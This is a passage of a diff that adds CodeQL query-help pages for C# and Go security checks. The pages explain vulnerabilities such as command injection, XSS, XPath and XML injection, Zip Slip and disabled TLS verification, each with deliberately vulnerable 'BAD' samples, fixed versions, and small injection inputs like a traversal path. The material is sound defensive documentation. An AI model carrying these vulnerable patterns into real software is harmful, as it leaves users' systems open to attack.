"http://cwe.mitre.org/data/definitions/601.html"; + + public void ProcessRequest(HttpContext ctx) + { + // BAD: a request parameter is incorporated without validation into a URL redirect + ctx.Response.Redirect(ctx.Request.QueryString["page"]); + + // GOOD: the request parameter is validated against a known fixed string + if (VALID_REDIRECT == ctx.Request.QueryString["page"]) + { + ctx.Response.Redirect(VALID_REDIRECT); + } + } +} + +``` + +## References +* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Microsoft Docs: [Preventing Open Redirection Attacks (C#)](https://docs.microsoft.com/en-us/aspnet/mvc/overview/security/preventing-open-redirection-attacks). +* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/UseOfFileUpload.md b/docs/language/query-help/csharp/UseOfFileUpload.md new file mode 100644 index 00000000000..1da1060b453 --- /dev/null +++ b/docs/language/query-help/csharp/UseOfFileUpload.md @@ -0,0 +1,27 @@ +# Use of file upload + +``` +ID: cs/web/file-upload +Kind: problem +Severity: recommendation +Precision: high +Tags: security maintainability frameworks/asp.net external/cwe/cwe-434 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Input%20Validation/UseOfFileUpload.ql) + +Allowing end users to upload files may lead to severe security threats. Attackers may use this open door to compromise your application, either by overwriting data or by injecting malicious code to run on your server. + + +## Recommendation +Whist it might not be possible to remove the ability to upload files, special care should be taken to ensure files are handled in a secure manner. The following checks should be implemented to ensure the security of your application: + +* Validate each path where the uploaded data is written to. +* Check the content of the data being uploaded without just relying on the MIME type. +* Set a size limit for the uploaded data. +* Do not run your web application with administrator privileges. +* Log each upload request. +* Do not display system information or exception in case the upload fails as this information may help attackers to find a breach. + +## References +* Common Weakness Enumeration: [CWE-434](https://cwe.mitre.org/data/definitions/434.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ValueShadowing.md b/docs/language/query-help/csharp/ValueShadowing.md new file mode 100644 index 00000000000..682d99a844b --- /dev/null +++ b/docs/language/query-help/csharp/ValueShadowing.md @@ -0,0 +1,53 @@ +# Value shadowing + +``` +ID: cs/web/ambiguous-client-variable +Kind: problem +Severity: warning +Precision: medium +Tags: security maintainability frameworks/asp.net + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Input%20Validation/ValueShadowing.ql) + +Relying on `HttpRequest` to provide access to a particular client variable is not safe. The `HttpRequest` class implements an indexer to provide a simplified, combined access to its `QueryString`, `Form`, `Cookies`, or ` ServerVariables` collections, in that particular order. When searching for a variable, the first match is returned: `QueryString` parameters hence supersede values from forms, cookies and server variables, and so on. This is a serious attack vector since an attacker could inject a value in the query string that you do not expect, and which supersedes the value of a more trusted collection. + + +## Recommendation +Explicitly restrict the search to one of the `QueryString`, `Form` or `Cookies` collections. + + +## Example +In this example an attempt has been made to prevent cross site request forgery attacks by comparing a cookie set by the server with a form variable sent by the user. The problem is that if the user did not send a form variable called `csrf` then the collection will fall back to using the cookie value, making it look like a forged request was initiated by the user. + + +```csharp +class ValueShadowing +{ + public bool checkCSRF(HttpRequest request) + { + string postCSRF = request["csrf"]; + string cookieCSRF = request.Cookies["csrf"]; + return postCSRF.Equals(cookieCSRF); + } +} + +``` +This can be easily fixed by explicitly specifying that we are looking for a form variable. + + +```csharp +class ValueShadowingFix +{ + public bool checkCSRF(HttpRequest request) + { + string postCSRF = request.Form["csrf"]; + string cookieCSRF = request.Cookies["csrf"]; + return postCSRF.Equals(cookieCSRF); + } +} + +``` + +## References +* MSDN: [HttpRequest.Item](http://msdn.microsoft.com/en-us/library/system.web.httprequest.item(v=VS.100).aspx). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ValueShadowingServerVariable.md b/docs/language/query-help/csharp/ValueShadowingServerVariable.md new file mode 100644 index 00000000000..20c80671e1d --- /dev/null +++ b/docs/language/query-help/csharp/ValueShadowingServerVariable.md @@ -0,0 +1,52 @@ +# Value shadowing: server variable + +``` +ID: cs/web/ambiguous-server-variable +Kind: problem +Severity: warning +Precision: medium +Tags: security maintainability frameworks/asp.net + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Input%20Validation/ValueShadowingServerVariable.ql) + +Relying on `HttpRequest` to provide access to a particular server variable is not safe as it can be overridden by the client. The `HttpRequest` class implements an indexer to provide a simplified, combined access to its `QueryString`, `Form` , `Cookies`, or ` ServerVariables` collections, in that particular order. When searching for a variable, the first match is returned: `QueryString` parameters hence supersede values from forms, cookies and server variables, and so on. This is a serious attack vector since an attacker could inject a value in the query string that you do not expect, and which supersedes the value of the server variable you were actually trying to check. + + +## Recommendation +Explicitly restrict the search to the `ServerVariables` collection. + + +## Example +In this example the server attempts to ensure the user is using an HTTPS connection. Because the programmer used the `HttpRequest` indexer, URLs like ` http://www.example.org/?HTTPS=ON` appear to be from a secure connection even though they are not. + + +```csharp +class ValueShadowingServerVariable +{ + public bool isHTTPS(HttpRequest request) + { + String https = request["HTTPS"]; + return https == "ON"; + } +} + +``` +This can be easily fixed by explicitly specifying that we are looking for a server variable. + + +```csharp +class ValueShadowingServerVariableFix +{ + public bool isHTTPS(HttpRequest request) + { + String https = request.ServerVariables["HTTPS"]; + return https == "ON"; + } +} + +``` + +## References +* MSDN: [HttpRequest.Item](http://msdn.microsoft.com/en-us/library/system.web.httprequest.item(v=VS.100).aspx). +* MSDN: [IIS Server Variables](http://msdn.microsoft.com/en-us/library/ms524602.aspx). \ No newline at end of file diff --git a/docs/language/query-help/csharp/WeakEncryption.md b/docs/language/query-help/csharp/WeakEncryption.md new file mode 100644 index 00000000000..e4538433f3f --- /dev/null +++ b/docs/language/query-help/csharp/WeakEncryption.md @@ -0,0 +1,45 @@ +# Weak encryption + +``` +ID: cs/weak-encryption +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/WeakEncryption.ql) + +Weak encryption algorithms provide very little security. For example DES encryption uses keys of 56 bits only, and no longer provides sufficient protection for sensitive data. TripleDES should also be deprecated for very sensitive data: Although it improves on DES by using 168-bit long keys, it provides in fact at most 112 bits of security. + + +## Recommendation +You should switch to a more secure encryption algorithm, such as AES (Advanced Encryption Standard) and use a key length which is reasonable for the application for which it is being used. + + +## Example +This example uses DES, which is limited to a 56-bit key. The key provided is actually 64 bits but the last bit of each byte is turned into a parity bit. For example the bytes 01010101 and 01010100 can be used in place of each other when encrypting and decrypting. + + +```csharp +class WeakEncryption +{ + public static byte[] encryptString() + { + SymmetricAlgorithm serviceProvider = new DESCryptoServiceProvider(); + byte[] key = { 16, 22, 240, 11, 18, 150, 192, 21 }; + serviceProvider.Key = key; + ICryptoTransform encryptor = serviceProvider.CreateEncryptor(); + + String message = "Hello World"; + byte[] messageB = System.Text.Encoding.ASCII.GetBytes(message); + return encryptor.TransformFinalBlock(messageB, 0, messageB.Length); + } +} + +``` + +## References +* Wikipedia: [Key Size](http://en.wikipedia.org/wiki/Key_size) +* Wikipedia: [DES](http://en.wikipedia.org/wiki/Data_Encryption_Standard) +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/XMLInjection.md b/docs/language/query-help/csharp/XMLInjection.md new file mode 100644 index 00000000000..ec46a8f0bb7 --- /dev/null +++ b/docs/language/query-help/csharp/XMLInjection.md @@ -0,0 +1,83 @@ +# XML injection + +``` +ID: cs/xml-injection +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-091 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-091/XMLInjection.ql) + +The APIs provided by the .NET libraries for XML manipulation allow the insertion of "raw" text at a specified point in an XML document. If user input is passed to this API, it could allow a malicious user to add extra content that could corrupt or supersede existing content, or enable unintended additional functionality. + + +## Recommendation +Avoid using the `WriteRaw` method on `System.Xml.XmlWriter` with user input. If possible, use the high-level APIs to write new XML elements to a document, as these automatically escape user content. If that is not possible, then user input should be escaped before being included in a string that will be used with the `WriteRaw` API. + + +## Example +In this example, user input is provided describing the name of an employee to add to an XML document representing a set of names. The `WriteRaw` API is used to write the new employee record to the XML file. + + +```csharp +using System; +using System.Security; +using System.Web; +using System.Xml; + +public class XMLInjectionHandler : IHttpHandler { + public void ProcessRequest(HttpContext ctx) { + string employeeName = ctx.Request.QueryString["employeeName"]; + + using (XmlWriter writer = XmlWriter.Create("employees.xml")) + { + writer.WriteStartDocument(); + + // BAD: Insert user input directly into XML + writer.WriteRaw("" + employeeName + ""); + + writer.WriteEndElement(); + writer.WriteEndDocument(); + } + } +} +``` +However, if a malicious user were to provide the content `Bobby PagesHacker1`, they would be able to add an extra entry into the XML file. + +The corrected version demonstrates two ways to avoid this issue. The first is to escape user input before passing it to the `WriteRaw` API, which prevents a malicious user from closing or opening XML tags. The second approach uses the high level XML API to add XML elements, which ensures the content is appropriately escaped. + + +```csharp +using System; +using System.Security; +using System.Web; +using System.Xml; + +public class XMLInjectionHandler : IHttpHandler { + public void ProcessRequest(HttpContext ctx) { + string employeeName = ctx.Request.QueryString["employeeName"]; + + using (XmlWriter writer = XmlWriter.Create("employees.xml")) + { + writer.WriteStartDocument(); + + // GOOD: Escape user input before inserting into string + writer.WriteRaw("" + SecurityElement.Escape(employeeName) + ""); + + // GOOD: Use standard API, which automatically encodes values + writer.WriteStartElement("Employee"); + writer.WriteElementString("Name", employeeName); + writer.WriteEndElement(); + + writer.WriteEndElement(); + writer.WriteEndDocument(); + } + } +``` + +## References +* Web Application Security Consortium: [XML Injection](http://projects.webappsec.org/w/page/13247004/XML%20Injection). +* Microsoft Docs: [WriteRaw](https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmlwriter.writeraw?view=netframework-4.8). +* Common Weakness Enumeration: [CWE-91](https://cwe.mitre.org/data/definitions/91.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/XPathInjection.md b/docs/language/query-help/csharp/XPathInjection.md new file mode 100644 index 00000000000..aa3fc0baf56 --- /dev/null +++ b/docs/language/query-help/csharp/XPathInjection.md @@ -0,0 +1,64 @@ +# XPath injection + +``` +ID: cs/xml/xpath-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-643 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-643/XPathInjection.ql) + +If an XPath expression is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to create a malicious XPath expression. + + +## Recommendation +If user input must be included in an XPath expression, pre-compile the query and use variable references to include the user input. + +When using the `System.Xml.XPath` API, this can be done by creating a custom subtype of `System.Xml.Xsl.XsltContext`, and implementing `ResolveVariable(String,?String)` to return the user provided data. This custom context can be specified for a given `XPathExpression` using `XPathExpression.SetContext()`. For more details, see the "User Defined Functions and Variables" webpage in the list of references. + + +## Example +In the first example, the code accepts a user name specified by the user, and uses this unvalidated and unsanitized value in an XPath expression. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values. + +In the second example, the XPath expression is a hard-coded string that specifies some variables, which are safely replaced at runtime using a custom `XsltContext` that looks up the variables in an `XsltArgumentList`. + + +```csharp +using System; +using System.Web; +using System.Xml.XPath; + +public class XPathInjectionHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + string userName = ctx.Request.QueryString["userName"]; + + // BAD: Use user-provided data directly in an XPath expression + string badXPathExpr = "//users/user[login/text()='" + userName + "']/home_dir/text()"; + XPathExpression.Compile(badXPathExpr); + + // GOOD: XPath expression uses variables to refer to parameters + string xpathExpression = "//users/user[login/text()=$username]/home_dir/text()"; + XPathExpression xpath = XPathExpression.Compile(xpathExpression); + + // Arguments are provided as a XsltArgumentList() + XsltArgumentList varList = new XsltArgumentList(); + varList.AddParam("userName", string.Empty, userName); + + // CustomContext is an application specific class, that looks up variables in the + // expression from the varList. + CustomContext context = new CustomContext(new NameTable(), varList) + xpath.SetContext(context); + } +} + +``` + +## References +* OWASP: [Testing for XPath Injection](https://www.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)). +* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection). +* MSDN: [User Defined Functions and Variables](https://msdn.microsoft.com/en-us/library/dd567715.aspx). +* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/XSS.md b/docs/language/query-help/csharp/XSS.md new file mode 100644 index 00000000000..7ad48a9947b --- /dev/null +++ b/docs/language/query-help/csharp/XSS.md @@ -0,0 +1,43 @@ +# Cross-site scripting + +``` +ID: cs/web/xss +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-079/XSS.ql) + +Directly writing user input (for example, an HTTP request parameter) to a webpage, without properly sanitizing the input first, allows for a cross-site scripting vulnerability. + + +## Recommendation +To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references. + + +## Example +The following example shows the page parameter being written directly to the server error page, leaving the website vulnerable to cross-site scripting. + + +```csharp +using System; +using System.Web; + +public class XSSHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + ctx.Response.Write( + "The page \"" + ctx.Request.QueryString["page"] + "\" was not found."); + } +} + +``` + +## References +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ZipSlip.md b/docs/language/query-help/csharp/ZipSlip.md new file mode 100644 index 00000000000..e80bebde05e --- /dev/null +++ b/docs/language/query-help/csharp/ZipSlip.md @@ -0,0 +1,78 @@ +# Arbitrary file write during zip extraction ("Zip Slip") + +``` +ID: cs/zipslip +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-022 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-022/ZipSlip.ql) + +Extracting files from a malicious zip archive without validating that the destination file path is within the destination directory can cause files outside the destination directory to be overwritten, due to the possible presence of directory traversal elements (`..`) in archive paths. + +Zip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to determine an output file to write the contents of the archive item to, then the file may be written to an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. + +For example, if a zip file contains a file entry `..\sneaky-file`, and the zip file is extracted to the directory `c:\output`, then naively combining the paths would result in an output file path of `c:\output\..\sneaky-file`, which would cause the file to be written to `c:\sneaky-file`. + + +## Recommendation +Ensure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations. + +The recommended way of writing an output file from a zip archive entry is to: + +1. Use `Path.Combine(destinationDirectory, archiveEntry.FullName)` to determine the raw output path. +1. Use `Path.GetFullPath(..)` on the raw output path to resolve any directory traversal elements. +1. Use `Path.GetFullPath(destinationDirectory + Path.DirectorySeparatorChar)` to determine the fully resolved path of the destination directory. +1. Validate that the resolved output path `StartsWith` the resolved destination directory, aborting if this is not true. +Another alternative is to validate archive entries against a whitelist of expected files. + + +## Example +In this example, a file path taken from a zip archive item entry is combined with a destination directory. The result is used as the destination file path without verifying that the result is within the destination directory. If provided with a zip file containing an archive path like `..\sneaky-file`, then this file would be written outside the destination directory. + + +```csharp +using System.IO; +using System.IO.Compression; + +class Bad +{ + public static void WriteToDirectory(ZipArchiveEntry entry, + string destDirectory) + { + string destFileName = Path.Combine(destDirectory, entry.FullName); + entry.ExtractToFile(destFileName); + } +} + +``` +To fix this vulnerability, we need to make three changes. Firstly, we need to resolve any directory traversal or other special characters in the path by using `Path.GetFullPath`. Secondly, we need to identify the destination output directory, again using `Path.GetFullPath`, this time on the output directory. Finally, we need to ensure that the resolved output starts with the resolved destination directory, and throw an exception if this is not the case. + + +```csharp +using System.IO; +using System.IO.Compression; + +class Good +{ + public static void WriteToDirectory(ZipArchiveEntry entry, + string destDirectory) + { + string destFileName = Path.GetFullPath(Path.Combine(destDirectory, entry.FullName)); + string fullDestDirPath = Path.GetFullPath(destDirectory + Path.DirectorySeparatorChar); + if (!destFileName.StartsWith(fullDestDirPath)) { + throw new System.InvalidOperationException("Entry is outside the target dir: " + + destFileName); + } + entry.ExtractToFile(destFileName); + } +} + +``` + +## References +* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability). +* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). +* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). \ No newline at end of file diff --git a/docs/language/query-help/go.rst b/docs/language/query-help/go.rst new file mode 100644 index 00000000000..6909b328443 --- /dev/null +++ b/docs/language/query-help/go.rst @@ -0,0 +1,4 @@ +Go query help +============= + +.. include:: toc-go.rst \ No newline at end of file diff --git a/docs/language/query-help/go/AllocationSizeOverflow.md b/docs/language/query-help/go/AllocationSizeOverflow.md new file mode 100644 index 00000000000..f24c939d540 --- /dev/null +++ b/docs/language/query-help/go/AllocationSizeOverflow.md @@ -0,0 +1,78 @@ +# Size computation for allocation may overflow + +``` +ID: go/allocation-size-overflow +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-190 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-190/AllocationSizeOverflow.ql) + +Performing calculations involving the size of potentially large strings or slices can result in an overflow (for signed integer types) or a wraparound (for unsigned types). An overflow causes the result of the calculation to become negative, while a wraparound results in a small (positive) number. + +This can cause further issues. If, for example, the result is then used in an allocation, it will cause a runtime panic if it is negative, and allocate an unexpectedly small buffer otherwise. + + +## Recommendation +Always guard against overflow in arithmetic operations involving potentially large numbers by doing one of the following: + +* Validate the size of the data from which the numbers are computed. +* Define a guard on the arithmetic expression, so that the operation is performed only if the result can be known to be less than, or equal to, the maximum value for the type. +* Use a wider type (such as `uint64` instead of `int`), so that larger input values do not cause overflow. + +## Example +In the following example, assume that there is a function `encryptBuffer` that encrypts byte slices whose length must be padded to be a multiple of 16. The function `encryptValue` provides a convenience wrapper around this function: when passed an arbitrary value, it first encodes that value as JSON, pads the resulting byte slice, and then passes it to `encryptBuffer`. + + +```go +package main + +import "encoding/json" + +func encryptValue(v interface{}) ([]byte, error) { + jsonData, err := json.Marshal(v) + if err != nil { + return nil, err + } + size := len(jsonData) + (len(jsonData) % 16) + buffer := make([]byte, size) + copy(buffer, jsonData) + return encryptBuffer(buffer) +} + +``` +When passed a value whose JSON encoding is close to the maximum value of type `int` in length, the computation of `size` will overflow, producing a negative value. When that negative value is passed to `make`, a runtime panic will occur. + +To guard against this, the function should be improved to check the length of the JSON-encoded value. For example, here is a version of `encryptValue` that ensures the value is no larger than 64 MB, which fits comfortably within an `int` and avoids the overflow: + + +```go +package main + +import ( + "encoding/json" + "errors" +) + +func encryptValueGood(v interface{}) ([]byte, error) { + jsonData, err := json.Marshal(v) + if err != nil { + return nil, err + } + if len(jsonData) > 64*1024*1024 { + return nil, errors.New("value too large") + } + size := len(jsonData) + (len(jsonData) % 16) + buffer := make([]byte, size) + copy(buffer, jsonData) + return encryptBuffer(buffer) +} + +``` + +## References +* The Go Programming Language Specification: [Integer overflow](https://golang.org/ref/spec#Integer_overflow). +* The Go Programming Language Specification: [Making slices, maps and channels](https://golang.org/ref/spec#Making_slices_maps_and_channels). +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). \ No newline at end of file diff --git a/docs/language/query-help/go/BadRedirectCheck.md b/docs/language/query-help/go/BadRedirectCheck.md new file mode 100644 index 00000000000..82ae479ee64 --- /dev/null +++ b/docs/language/query-help/go/BadRedirectCheck.md @@ -0,0 +1,52 @@ +# Bad redirect check + +``` +ID: go/bad-redirect-check +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-601 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-601/BadRedirectCheck.ql) + +Redirect URLs should be checked to ensure that user input cannot cause a site to redirect to arbitrary domains. This is often done with a check that the redirect URL begins with a slash, which most of the time is an absolute redirect on the same host. However, browsers interpret URLs beginning with `//` or `/\` as absolute URLs. For example, a redirect to `//lgtm.com` will redirect to `https://lgtm.com`. Thus, redirect checks must also check the second character of redirect URLs. + + +## Recommendation +Also disallow redirect URLs starting with `//` or `/\`. + + +## Example +The following function validates a (presumably untrusted) redirect URL `redir`. If it does not begin with `/`, the harmless placeholder redirect URL `/` is returned to prevent an open redirect; otherwise `redir` itself is returned. + + +```go +package main + +func sanitizeUrl(redir string) string { + if len(redir) > 0 && redir[0] == '/' { + return redir + } + return "/" +} + +``` +While this check provides partial protection, it should be extended to cover `//` and `/\` as well: + + +```go +package main + +func sanitizeUrl1(redir string) string { + if len(redir) > 1 && redir[0] == '/' && redir[1] != '/' && redir[1] != '\\' { + return redir + } + return "/" +} + +``` + +## References +* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html#validating-urls). +* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/go/CleartextLogging.md b/docs/language/query-help/go/CleartextLogging.md new file mode 100644 index 00000000000..8faed5d3082 --- /dev/null +++ b/docs/language/query-help/go/CleartextLogging.md @@ -0,0 +1,81 @@ +# Clear-text logging of sensitive information + +``` +ID: go/clear-text-logging +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-312/CleartextLogging.ql) + +Sensitive information that is logged unencrypted is accessible to an attacker who gains access to the logs. + + +## Recommendation +Ensure that sensitive information is always encrypted or obfuscated before being logged. + +In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. + +Be aware that external processes often store the standard out and standard error streams of the application, causing logged sensitive information to be stored. + + +## Example +The following example code logs user credentials (in this case, their password) in plain text: + + +```go +package main + +import ( + "log" + "net/http" +) + +func serve() { + http.HandleFunc("/register", func(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + user := r.Form.Get("user") + pw := r.Form.Get("password") + + log.Printf("Registering new user %s with password %s.\n", user, pw) + }) + http.ListenAndServe(":80", nil) +} + +``` +Instead, the credentials should be encrypted, obfuscated, or omitted entirely: + + +```go +package main + +import ( + "log" + "net/http" +) + +func serve1() { + http.HandleFunc("/register", func(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + user := r.Form.Get("user") + pw := r.Form.Get("password") + + log.Printf("Registering new user %s.\n", user) + + // ... + use(pw) + }) + http.ListenAndServe(":80", nil) +} + +``` + +## References +* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. +* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. +* OWASP: [Password Plaintext Storage](https://www.owasp.org/index.php/Password_Plaintext_Storage). +* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). +* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). +* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/go/CommandInjection.md b/docs/language/query-help/go/CommandInjection.md new file mode 100644 index 00000000000..fb746dedd32 --- /dev/null +++ b/docs/language/query-help/go/CommandInjection.md @@ -0,0 +1,46 @@ +# Command built from user-controlled sources + +``` +ID: go/command-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-078 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-078/CommandInjection.ql) + +If a system command invocation is built from user-provided data without sufficient sanitization, a malicious user may be able to run commands to exfiltrate data or compromise the system. + + +## Recommendation +If possible, use hard-coded string literals to specify the command to run. Instead of interpreting user input directly as command names, examine the input and then choose among hard-coded string literals. + +If this is not possible, then add sanitization code to verify that the user input is safe before using it. + + +## Example +In the following example, assume the function `handler` is an HTTP request handler in a web application, whose parameter `req` contains the request object: + + +```go +package main + +import ( + "net/http" + "os/exec" +) + +func handler(req *http.Request) { + cmdName := req.URL.Query()["cmd"][0] + cmd := exec.Command(cmdName) + cmd.Run() +} + +``` +The handler extracts the name of a system command from the request object, and then runs it without any further checks, which can cause a command-injection vulnerability. + + +## References +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). \ No newline at end of file diff --git a/docs/language/query-help/go/ConstantOauth2State.md b/docs/language/query-help/go/ConstantOauth2State.md new file mode 100644 index 00000000000..b306636f7ec --- /dev/null +++ b/docs/language/query-help/go/ConstantOauth2State.md @@ -0,0 +1,96 @@ +# Use of constant `state` value in OAuth 2.0 URL + +``` +ID: go/constant-oauth2-state +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-352 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-352/ConstantOauth2State.ql) + +OAuth 2.0 clients must implement CSRF protection for the redirection URI, which is typically accomplished by including a "state" value that binds the request to the user's authenticated state. The Go OAuth 2.0 library allows you to specify a "state" value which is then included in the auth code URL. That state is then provided back by the remote authentication server in the redirect callback, from where it must be validated. Failure to do so makes the client susceptible to an CSRF attack. + + +## Recommendation +Always include a unique, non-guessable `state` value (provided to the call to `AuthCodeURL` function) that is also bound to the user's authenticated state with each authentication request, and then validated in the redirect callback. + + +## Example +The first example shows you the use of a constant state (bad). + + +```go +package main + +import ( + "golang.org/x/oauth2" +) + +func main() {} + +var stateStringVar = "state" + +func badWithStringLiteralState() { + conf := &oauth2.Config{ + ClientID: "YOUR_CLIENT_ID", + ClientSecret: "YOUR_CLIENT_SECRET", + Scopes: []string{"SCOPE1", "SCOPE2"}, + Endpoint: oauth2.Endpoint{ + AuthURL: "https://provider.com/o/oauth2/auth", + TokenURL: "https://provider.com/o/oauth2/token", + }, + } + + url := conf.AuthCodeURL(stateStringVar) + // ... +} + +``` +The second example shows a better implementation idea. + + +```go +package main + +import ( + "crypto/rand" + "encoding/base64" + "net/http" + + "golang.org/x/oauth2" +) + +func betterWithVariableStateReturned(w http.ResponseWriter) { + conf := &oauth2.Config{ + ClientID: "YOUR_CLIENT_ID", + ClientSecret: "YOUR_CLIENT_SECRET", + Scopes: []string{"SCOPE1", "SCOPE2"}, + Endpoint: oauth2.Endpoint{ + AuthURL: "https://provider.com/o/oauth2/auth", + TokenURL: "https://provider.com/o/oauth2/token", + }, + } + + state := generateStateOauthCookie(w) + url := conf.AuthCodeURL(state) + _ = url + // ... +} +func generateStateOauthCookie(w http.ResponseWriter) string { + b := make([]byte, 128) + rand.Read(b) + // TODO: save the state string to cookies or HTML storage, + // and bind it to the authenticated status of the user. + state := base64.URLEncoding.EncodeToString(b) + + return state +} + +``` + +## References +* IETF: [The OAuth 2.0 Authorization Framework](https://tools.ietf.org/html/rfc6749#section-10.12) +* IETF: [OAuth 2.0 Security Best Current Practice](https://tools.ietf.org/html/draft-ietf-oauth-security-topics-15#section-2.1) +* Common Weakness Enumeration: [CWE-352](https://cwe.mitre.org/data/definitions/352.html). \ No newline at end of file diff --git a/docs/language/query-help/go/DisabledCertificateCheck.md b/docs/language/query-help/go/DisabledCertificateCheck.md new file mode 100644 index 00000000000..7cf1b127600 --- /dev/null +++ b/docs/language/query-help/go/DisabledCertificateCheck.md @@ -0,0 +1,48 @@ +# Disabled TLS certificate check + +``` +ID: go/disabled-certificate-check +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-295 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-295/DisabledCertificateCheck.ql) + +The field `InsecureSkipVerify` controls whether a TLS client verifies the server's certificate chain and host name. If set to `true`, the client will accept any certificate and any host name in that certificate, making it susceptible to man-in-the-middle attacks. + + +## Recommendation +Do not set `InsecureSkipVerify` to `true` except in tests. + + +## Example +The following code snippet shows a function that performs an HTTP request over TLS with certificate verification disabled: + + +```go +package main + +import ( + "crypto/tls" + "net/http" +) + +func doAuthReq(authReq *http.Request) *http.Response { + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + client := &http.Client{Transport: tr} + res, _ := client.Do(authReq) + return res +} + +``` +While this is acceptable in a test, it should not be used in production code. Instead, certificates should be configured such that verification can be performed. + + +## References +* Package tls: [Config](https://golang.org/pkg/crypto/tls/#Config). +* SSL.com: [Browsers and Certificate Validation](https://www.ssl.com/article/browsers-and-certificate-validation/). +* Common Weakness Enumeration: 